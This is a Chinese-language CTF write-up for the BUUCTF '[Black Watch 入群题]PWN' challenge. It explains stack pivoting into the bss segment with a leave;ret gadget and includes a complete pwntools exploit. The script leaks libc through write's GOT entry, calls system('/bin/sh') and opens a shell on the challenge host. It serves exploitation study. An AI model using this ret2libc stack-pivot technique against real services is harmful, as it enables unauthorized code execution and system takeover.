BUUCTF-[Black Watch 入群题]PWN

常规检查下来,发现可以进行栈溢出,但是允许操作的空间只有8个字节…

看下ida伪代码

在这里插入图片描述

可操作空间很小,只能覆盖到eip,正常思路是:泄露write的got表地址,然后通过libcsearch找出system和bin/sh的地址,再次构造栈溢出攻击。此题目栈溢出只能操作8字节,一般思路行不通。此时就用到另一个概念:栈迁移!!!

栈迁移的关键点在于esp,能把esp重新指向另外一块内存空间,即可成功。这题的另一块内存空间就是bss段。
利用到栈迁移,我们需要在原本栈的eip位置覆盖成 leave;ret这样的汇编代码。

原理:leave=>mov esp ebp;pop ebp,ebp我们覆盖成bss段地址,那么mov后esp就指向了bss段地址。ret=>pop eip;call eip,ret就是执行咯,此处有个关键点在于,指向的目标地址,要是该地址-4字节。为啥呢:mov esp ebp后执行了pop ebp,此时esp会+4,下一句ret 执行的是esp+4的地址,在这边相当于bss+4,所以传入的目标地址要是bss-4。

exp大法附上

#coding=utf8
from pwn import *
from LibcSearcher import*
context.log_level = 'debug'

# sh = process('./spwn')
sh = remote('node3.buuoj.cn', 27253)
elf = ELF('./spwn')

func_addr = 0x0804849B
main_addr = elf.symbols['main']
leave_ret_addr = 0x08048408 # ROPgadget --binary rop --only "leave|ret"
bss_addr = 0x0804A300

# 在read的bss端读入rop链
payload = p32(elf.plt['write']) + p32(main_addr) + p32(1) + p32(elf.got['write']) + p32(4)
sh.sendafter('name?', payload)

# 栈迁移原理:ebp覆盖成目标内存地址,leave;ret=>mov esp ebp;pop ebp;pop eip;call eip;
# esp指向bss段,这就是栈迁移
payload = 0x18 * 'a' + p32(bss_addr-4) + p32(leave_ret_addr)
sh.sendafter('say?', payload)

write_addr = u32(sh.recv(4))
print(hex(write_addr))

# 一定要用LibcSearcher
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

print('system[%s],binsh[%s]' % (hex(system_addr), hex(binsh_addr)))

payload = p32(system_addr) + p32(main_addr) + p32(binsh_addr)
sh.sendafter('name?', payload)

payload = 0x18 * 'a' + p32(bss_addr-4) + p32(leave_ret_addr)
sh.sendafter('say?', payload)

sh.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值